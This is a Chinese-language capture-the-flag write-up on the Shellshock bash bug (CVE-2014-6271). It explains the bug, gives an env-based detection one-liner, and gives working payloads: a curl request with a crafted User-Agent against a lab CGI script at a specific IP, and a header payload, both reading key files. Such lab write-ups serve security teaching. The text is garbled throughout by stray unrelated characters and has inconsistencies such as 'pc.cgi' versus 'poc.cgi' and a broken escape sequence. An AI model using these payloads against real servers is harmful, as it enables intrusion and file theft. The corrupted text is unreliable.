分析
漏洞編號:
CVE-2014-6271
漏洞名稱:
Linux Bash遠程可執(zhí)行漏洞
漏洞影響范圍:
所有安裝GNU bash 版本小于或者等于4.3的Linux操作系統(tǒng)
漏洞檢測:
使用以下命令檢測是否存在此漏洞:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
如果返回顯示有“vulnerable” 硬贯,則表示存在漏洞席吴,如果沒有,則表示沒有漏洞讥裤。
例如,當存在漏洞是绘趋,修復前的輸出為:
vulnerable
this is a test
bash漏洞的原理:
BASH除了可以將外殼變量導出為環(huán)境變量灯谣,還可以將外殼函數(shù)導出為環(huán)境變量!當前版本的bash中通過以函數(shù)名作為環(huán)境變量名恨溜,以“(){”開頭的字串作為環(huán)境變量的值來將函數(shù)定義導出為環(huán)境變量。
此次爆出的漏洞在于BASH處理這樣的“函數(shù)環(huán)境變量”的時候找前,并沒有以函數(shù)結尾“}”為結束糟袁,而是一直執(zhí)行其后的外殼命令。
簡單地說就是躺盛,巴什腳本在解析某些特殊字符串時出現(xiàn)邏輯錯誤導致可以執(zhí)行后面的命令项戴。
本題的解決思路
1、破殼漏洞槽惫,是由bash cgi產生的漏洞周叮,如果web程序調用bash腳本就可能產生這個漏洞
2辩撑、通常cgi目錄為cgi-bin,這里也是仿耽,并且破殼漏洞cgi源文件名就是pc.cgi合冀,那么構造偽造請求包時,就可以使用url:http://ip:port//cgi-bin/poc.cgi
3项贺、使用curl或者抓包軟件構造user-Agent(或者別的參數(shù)君躺,比如Connection)就可以將參數(shù)傳進去
使用curl的方法:
curl -A '() { :; }; echo -e "\r\n";/bin/cat ../../../key.txt' http://219.153.49.228:42303/cgi-bin/poc.cgi
使用Connection的方法
() { :;}; echo; /bin/bash -c 'cat /key.txt'
4、注意這次實驗漏洞的利用需要在閉合函數(shù)之后立即輸出一個換行开缎,用echo;或echo -e "rn";棕叫,否則會報錯(我也不知道為什么,求解答)
5奕删、換行命令后可以接/bin/cat 或者/bin/ls 來遍歷文件夾俺泣、查看key